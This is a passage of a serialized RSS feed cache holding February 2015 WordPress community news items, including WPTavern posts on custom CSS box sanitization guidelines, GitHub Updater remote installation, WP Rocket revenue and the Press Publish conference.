+0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:14;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"WPTavern: WordPress Theme Review Team Sets New Guidelines for Custom CSS Boxes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38826\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"http://wptavern.com/wordpress-theme-review-team-sets-new-guidelines-for-custom-css-boxes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2252:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/css.jpg\" rel=\"prettyphoto[38826]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/css.jpg?resize=1024%2C491\" alt=\"css\" class=\"aligncenter size-full wp-image-38846\" /></a></p>\n<p>Custom CSS boxes in themes are a common feature that allow users to easily add their own styles without having to edit any theme files. The inclusion of this feature in themes, as opposed to plugins, has long been a hotly contested issue among theme developers.</p>\n<p>WordPress.org Theme Review team admin Justin Tadlock <a href=\"https://make.wordpress.org/themes/2015/02/10/custom-css-boxes-in-themes/\" target=\"_blank\">announced</a> today that the team has agreed upon new guidelines for the inclusion of CSS boxes. He summarized the conclusions following the debate:</p>\n<ul>\n<li>It’s preferred that theme authors leave this feature to plugins.</li>\n<li>However, it is allowed if handled safely.</li>\n<li>The edit_theme_options capability is required (like all theme options).</li>\n<li>The wp_filter_nohtml_kses(), wp_strip_all_tags(), or equivalent function must be used to sanitize the data before it’s saved into the database.</li>\n</ul>\n<p>The main issue here is sanitizing the CSS to make sure it&#8217;s safe to store in the database. The guidelines do not cover validating the CSS, as that is less of a safety concern.</p>\n<p>While adding custom CSS boxes still falls within theme territory, it is best to consider relegating this feature to a plugin in order to keep your theme safe and lean. If you still wish to offer this feature in your theme, Tadlock <a href=\"https://make.wordpress.org/themes/2015/02/10/custom-css-boxes-in-themes/\" target=\"_blank\">posted sample code</a> that will provide a good starting place for adding a custom CSS box to WordPress&#8217; native customizer.</p>\n<p>Commercial theme authors who want to keep pace with WordPress.org theme review requirements will want to review the updated guidelines. The theme review team recommends using a plugin, such as <a href=\"http://jetpack.me/support/custom-css/\" target=\"_blank\">Jetpack&#8217;s custom CSS module</a>, as a safe alternative to allowing the theme to save custom CSS to the database.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 23:53:17 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:15;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"WPTavern: iThemes to Host Free Online Training Event: Intro to WordPress Web Design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38746\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"http://wptavern.com/ithemes-to-host-free-online-training-event-intro-to-wordpress-web-design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2962:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ithemes-training.jpg\" rel=\"prettyphoto[38746]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ithemes-training.jpg?resize=932%2C445\" alt=\"ithemes-training\" class=\"aligncenter size-full wp-image-38816\" /></a></p>\n<p>iThemes will be conducting a free online training event next week for those who are interested in getting started with WordPress. The <a href=\"https://ithemes.com/2015/02/05/free-intro-wordpress-web-design-workshop-february-18-20-2015/\" target=\"_blank\">Intro to WordPress Web Design</a> course will run from February 18 &#8211; 20 and will cover everything from learning how to set up a site to working with plugins and management tools:</p>\n<ul>\n<li>Understand what WordPress is, where it came from, why everything is a &#8220;post&#8221;—and who is Dolly?</li>\n<li>Unlock your WordPress site &#8211; learn how to set up your site the right way</li>\n<li>Unmask WordPress &#8211; learn the basics of how WordPress displays content for your site</li>\n<li>Supercharge your WordPress site with plugins</li>\n<li>Simplify your life with WordPress management tools and tips</li>\n<li>What to do to take your knowledge of WordPress to the next level</li>\n</ul>\n<p>The workshop is open to the first 1,000 registrants and will be taught by Benjamin Bradley, iThemes&#8217; Training full-time instructor. Bradley has been working with the company for the past five years to build out a library of 600+ instructional videos for the community surrounding iThemes&#8217; products. A chat room will be available for discussion and Q&amp;A during the the online event.</p>\n<p>iThemes CEO Cory Miller began investing in the creation of training resources years ago after noticing that a lack of quality WordPress education material was putting an extra burden on his support staff. &#8220;We started this free online workshop several years ago in response to seeing many of the same questions being asked in our support area year after year,&#8221; Miller said.</p>\n<p>&#8220;We felt our customers weren&#8217;t able to make meaningful progress in learning the basics of WordPress web design because there weren&#8217;t good resources to do so. The need is there and it is great, in particular for online learning like this. It&#8217;s part of our contribution to building up our customers, but also the greater WordPress community,&#8221; he said.</p>\n<p>The event is not just for iThemes customers but is open to anyone. If you can&#8217;t attend the training sessions live, iThemes plans to make the recordings available on its blog after the event. If you or a family member, friend, or client want an approachable introduction to WordPress, <a href=\"https://attendee.gotowebinar.com/register/5530303058928143361\" target=\"_blank\">register for the course</a> at iThemes. Each session is only one hour and will put you on track to managing your own WordPress website.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 18:33:52 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:16;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"Matt: On the Tim Ferriss Podcast\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44665\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:48:\"http://ma.tt/2015/02/on-the-tim-ferriss-podcast/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:581:\"<p>I had the great fun the other week of hanging with Tim Ferriss on his podcast, an episode he titled <a href=\"http://fourhourworkweek.com/2015/02/09/matt-mullenweg/\">Matt Mullenweg on Polyphasic Sleep, Tequila, and Building Billion-Dollar Companies</a>. His previous guest <a href=\"http://fourhourworkweek.com/2015/02/02/arnold-schwarzenegger/\">was Arnold Schwarzenegger</a> (!) and if you <a href=\"http://fourhourworkweek.com/category/the-tim-ferriss-show/\">dig into the podcast archives there are some really amazing episodes</a>, I&#8217;m working my way through them now.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 10 Feb 2015 18:30:46 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:17;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"WPTavern: GitHub Updater 4.1 to Add Remote Installation for WordPress Plugins and Themes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38758\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:98:\"http://wptavern.com/github-updater-4-1-to-add-remote-installation-for-wordpress-plugins-and-themes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3688:\"<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/01/wpvsgithub.jpg\" rel=\"prettyphoto[38758]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2014/01/wpvsgithub.jpg?resize=1025%2C381\" alt=\"WordPress Versus Github\" class=\"aligncenter size-full wp-image-15216\" /></a></p>\n<p><a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub Updater</a> is a plugin that developers often use to enable automatic updates to GitHub or Bitbucket-hosted WordPress plugins and themes. The project was started in July 2013 by <a href=\"http://thefragens.com/\" target=\"_blank\">Andy Fragen</a>, a trauma surgeon and plugin developer. Over the past two years GitHub Updater has received improvements from 14 <a href=\"https://github.com/afragen/github-updater/graphs/contributors\" target=\"_blank\">contributors</a>.</p>\n<p>Fragen&#8217;s work on GitHub Updater makes it possible for developers to stay in their <a href=\"http://wptavern.com/wordpress-org-vs-github-for-hosting-wordpress-plugins-and-themes\" target=\"_blank\">preferred GitHub/Bitbucket workflow</a> and still ship updates for plugins and themes to their users. After reading about how <a href=\"http://wptavern.com/wp-pusher-aims-to-provide-pain-free-deployment-of-wordpress-themes-and-plugins-from-github\" target=\"_blank\">WP Pusher is extending WordPress&#8217; built-in auto updater to deploy remotely hosted themes and plugins</a>, Fragen was inspired to investigate the possibility of adding remote installation of WordPress extensions to his GitHub Updater.</p>\n<p>He now has the <code>develop</code> branch of the project working to successfully install both public and private GitHub or Bitbucket repositories remotely. &#8220;I must confess, the hardest part was getting everything in the Settings API functioning,&#8221; Fragen said.</p>\n<p>With the help of some code from the <a href=\"https://wordpress.org/plugins/zero-spam/\" target=\"_blank\">WordPress Zero Spam</a> plugin by Ben Marshall, and a few lines from <a href=\"http://tgmpluginactivation.com/\" target=\"_blank\">TGM Plugin Activation</a> by Thomas Griffin, he was able to get a tabbed settings interface in place in addition to the plugin dependency portion of the task.</p>\n<p>&#8220;After setting up the tabs in the Settings page I was able to simply create the correct endpoint for GitHub and Bitbucket,&#8221; Fragen said. &#8220;I thought allowing for private repository remote installation might prove more difficult but a couple of modifications in other parts of the plugin made this relatively painless. It certainly makes downloading a repo from GitHub, renaming it correctly, and then uploading it a single-click experience.&#8221;</p>\n<p><a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub Updater</a> is <a href=\"https://github.com/afragen/github-updater/issues/34\" target=\"_blank\">not allowed in the WordPress.org directory</a>, as the guidelines forbid official plugins from allowing updates from anywhere outside of WordPress.org. Developers usually opt for using the GitHub Updater when they want to host their plugins on GitHub/Bitbucket, or need to provide updates for private repositories.</p>\n<p>The <a href=\"http://thefragens.com/2015/02/github-updater-and-remote-installation/\" target=\"_blank\">4.1 release of GitHub Updater</a> will include both remote installation and automatic updating in one package. If you want to test the functionality now, you can check out the <code>develop</code> branch. Feel free to log your issues and feedback on <a href=\"https://github.com/afragen/github-updater\" target=\"_blank\">GitHub</a>, as Fragen will be incorporating bug fixes into the 4.1 release.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:32:56 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:18;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: WP Rocket Grows From $0 to $35K in Monthly Revenue\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38729\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wptavern.com/wp-rocket-grows-from-0-to-35k-in-monthly-revenue\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3947:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WPRocketFeaturedImage.png\" rel=\"prettyphoto[38729]\"><img class=\"aligncenter size-full wp-image-38763\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WPRocketFeaturedImage.png?resize=672%2C281\" alt=\"WP Rocket Featured Image\" /></a></p>\n<p>WP Media, the company behind WordPress caching plugin WP Rocket, <a title=\"http://blog.wp-rocket.me/transparency-matters/\" href=\"http://blog.wp-rocket.me/transparency-matters/\">published a post</a> that highlights how successful the plugin has been since launching a year and a half ago. When we wrote about the <a title=\"http://wptavern.com/wp-rocket-launches-commercial-caching-plugin-for-wordpress\" href=\"http://wptavern.com/wp-rocket-launches-commercial-caching-plugin-for-wordpress\">international launch of WP Rocket</a>, we questioned whether it would be able to compete against all of the free, robust options available.</p>\n<p>In a show of transparency, WP Media shares stats that indicate the plugin is doing well. Since launching a year and a half ago, WP Rocket has achieved the following milestones while being a 100% bootstrapped company:</p>\n<ul>\n<li>$0 to $35 000 in monthly revenue</li>\n<li>0 to +15 000 websites using WP Rocket</li>\n<li>0 to +4300 customers.</li>\n</ul>\n<p>Despite launching the product without a business plan, customers have shown they&#8217;re willing to buy a caching solution that&#8217;s simple to configure and use.</p>\n<p>Jean-Baptiste Marchand-Arvier, Co-founder of WP Rocket, says the move towards greater transparency is inspired by other companies that have revealed revenue numbers, recruitment strategies, and productivity tips.</p>\n<blockquote><p>We are really inspired by great companies like <a href=\"https://bufferapp.com/\">Buffer</a>, <a href=\"http://baremetrics.io\">Baremetrics</a> and <a href=\"https://mattermark.com/\">Mattermark</a> where transparency is a company culture. They share it through several channels:</p>\n<ul>\n<li><a href=\"https://open.bufferapp.com\">Buffer Open Blog</a>, “Our journey to greater productivity, more transparency and a happier work culture”</li>\n<li><a href=\"https://medium.com/@DanielleMorrill\">Medium posts of Danielle Morrill</a>, CEO and Cofounder of Mattermark</li>\n<li><a href=\"https://baremetrics.io/blog\">Baremetrics Blog</a></li>\n</ul>\n<p><strong>These companies have helped us greatly</strong> by sharing a lot of internal information including their monthly revenue, and more.</p></blockquote>\n<p>At the end of 2014, <a title=\"https://pippinsplugins.com/2014-review/\" href=\"https://pippinsplugins.com/2014-review/\">Easy Digital Downloads</a> and <a title=\"http://wpninjas.com/2014-review/\" href=\"http://wpninjas.com/2014-review/\">WP Ninjas</a> published year-end reviews that show how well each plugin has done. However, Matt Medeiros, of MattReport.com <a title=\"http://mattreport.com/precursor-greatness/\" href=\"http://mattreport.com/precursor-greatness/\">cautions,</a> that while reading about the success of others can be motivational, it can also be depressing.</p>\n<blockquote><p>Entrepreneurs or small business owners that have been in the game month-after-month or 3 years in still struggling to make it. “Everyone is doing better shit than me.” or “Look at the money they are making! Why can’t I?”</p>\n<p>The new social has amplified everyone else’s success while making yours seem insignificant.</p></blockquote>\n<p>I want to see as many companies as possible open up to their customers and readers by publishing revenue numbers and strategies that don&#8217;t work out as intended. Aside from knowing the numbers, I think a lot of people in the community would love to read about the struggles businesses are having and what they&#8217;re doing to overcome them.</p>\n<p>WP Rocket is proving that, despite jumping into an established market, there&#8217;s enough room for new products to grow.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:21:25 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:19;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"WPTavern: The First Conference Dedicated to WordPress.com Debuts on March 28th in Portland, OR\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38717\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:103:\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2200:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/PressPublishFeaturedImage.png\" rel=\"prettyphoto[38717]\"><img class=\"size-full wp-image-38718\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/PressPublishFeaturedImage.png?resize=668%2C262\" alt=\"Press Publish Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/38072565@N00/462857539\">Publish Akku</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-nc/2.0/\">(license)</a>\n<p>Those who use the <a title=\"https://wordpress.org/\" href=\"https://wordpress.org/\">self hosted version of WordPress</a> have access to <a title=\"http://central.wordcamp.org/\" href=\"http://central.wordcamp.org/\">WordCamps</a>, annual conferences dedicated to WordPress. Meanwhile, there has never been a conference focused on WordPress.com.</p>\n<p><a title=\"http://presspublish.events/\" href=\"http://presspublish.events/\">Press Publish</a> is a new <a title=\"http://presspublish.events/2015/02/04/portland-lineup-confirmed/\" href=\"http://presspublish.events/2015/02/04/portland-lineup-confirmed/\">series of events</a> focused on WordPress.com and Jetpack. The first is scheduled for <a title=\"http://presspublish.events/events/portland/\" href=\"http://presspublish.events/events/portland/\">March 28th, 2015 in Portland, OR</a>. There&#8217;s also a second event scheduled for <a title=\"http://presspublish.events/events/phoenix/\" href=\"http://presspublish.events/events/phoenix/\">April 18th, 2015 in Phoenix, AZ</a>.</p>\n<p>Each event lasts for one day and has two tracks. Speakers will share their personal success stories on using the WordPress.com platform. There will also be a handful of Automatticians on hand to answer any questions. Registration is open for both events and costs $250.00.</p>\n<p>Press Publish is an opportunity for attendees to learn from some of the brightest minds who make a living publishing content on WordPress.com. It&#8217;s also an opportunity for attendees to speak with Automatticians face to face to suggest features or enhancements to the service. The events and locations are part of a pilot program that, if successful, will likely spread to other places around the world.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:00:59 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:20;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"WPTavern: Initiative Aims to Improve the New User Experience in WordPress 4.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38655\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:87:\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4889:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/NewUserExperienceFeaturedImage.png\" rel=\"prettyphoto[38655]\"><img class=\"size-full wp-image-38713\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/NewUserExperienceFeaturedImage.png?resize=650%2C200\" alt=\"New User Experience Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/35034347371@N01/414920055\">zu.com &#8211; Image136</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Drew Jaynes, who is <a title=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\" href=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\">leading the release cycle</a> for WordPress 4.2 <a title=\"https://make.wordpress.org/core/2015/02/05/4-2-community-initiative-nux-working-group/\" href=\"https://make.wordpress.org/core/2015/02/05/4-2-community-initiative-nux-working-group/\">announced on the Make.WordPress.core blog,</a> that a new community initiative has been launched called NUX or New User Experience. The group is made up of more than 15 members of the WordPress community who have experience in onboarding clients, training clients, and work with new users on a regular basis. According to the announcement, the group&#8217;s main task is as follows:</p>\n<blockquote><p>The group will be tasked with helping to identify common pain points new users might experience using WordPress. The hope is to (re)invigorate the conversation about making NUX a priority in core decision-making. We’ll work together to identify problems and recommend solutions.</p></blockquote>\n<p>With regards to 4.2, the group will brainstorm actionable goals and make recommendations to improve the new user experience throughout the WordPress backend. Jaynes says, &#8220;These changes would likely include improvements to contextual help on various screens, improvements to the content of the Welcome Panel, as well as adjustments to many other established workflows in core interfaces including the installation process.&#8221;</p>\n<p>Recommendations large and small will receive direct feedback from core developers. This provides an opportunity for new users to immediately contribute back to WordPress. The group&#8217;s first meeting will be held <a href=\"http://www.timeanddate.com/worldclock/fixedtime.html?iso=20150210T1900\"><abbr class=\"date\" title=\"2015-02-10T19:00:00+00:00\">Tuesday, February 10, 2015 14:00 UTC-5</abbr></a> in the <a href=\"https://wordpress.slack.com/messages/core-flow/\">#core-flow</a> channel on <a href=\"https://make.wordpress.org/chat\">Slack</a>.</p>\n<h2>Re-establishing Easy as a Selling Point</h2>\n<p>I&#8217;ve used WordPress since 2008 and one of its strongest selling points has always been that it&#8217;s easy to use. However, as WordPress has advanced, I think it&#8217;s become progressively more difficult to use. Within the last two years, several articles have highlighted the increasing difficulty in using and explaining WordPress.</p>\n<ul>\n<li><a title=\"http://mor10.com/wordpress-easy-thats-ok/\" href=\"http://mor10.com/wordpress-easy-thats-ok/\">WordPress is not easy – and that’s OK</a></li>\n<li><a title=\"https://medium.com/@salliegoetsch/have-we-been-misleading-people-about-wordpress-9dcd7dbf3034\" href=\"https://medium.com/@salliegoetsch/have-we-been-misleading-people-about-wordpress-9dcd7dbf3034\">Have We Been Misleading People about WordPress?</a></li>\n<li><a title=\"http://wptavern.com/why-is-explaining-wordpress-to-someone-so-hard\" href=\"http://wptavern.com/why-is-explaining-wordpress-to-someone-so-hard\">Why Is Explaining WordPress To Someone So Hard?</a></li>\n</ul>\n<p>I think a good base to start from to improve the user experience is Jen Mylo&#8217;s <a title=\"http://jenmylo.com/2014/10/05/site-setup-journal-prologue/\" href=\"http://jenmylo.com/2014/10/05/site-setup-journal-prologue/\">site setup journal experiment</a>. In the series, Mylo documents what it&#8217;s like as a new user to install WordPress on a host, setup a website, and browse through documentation. <a 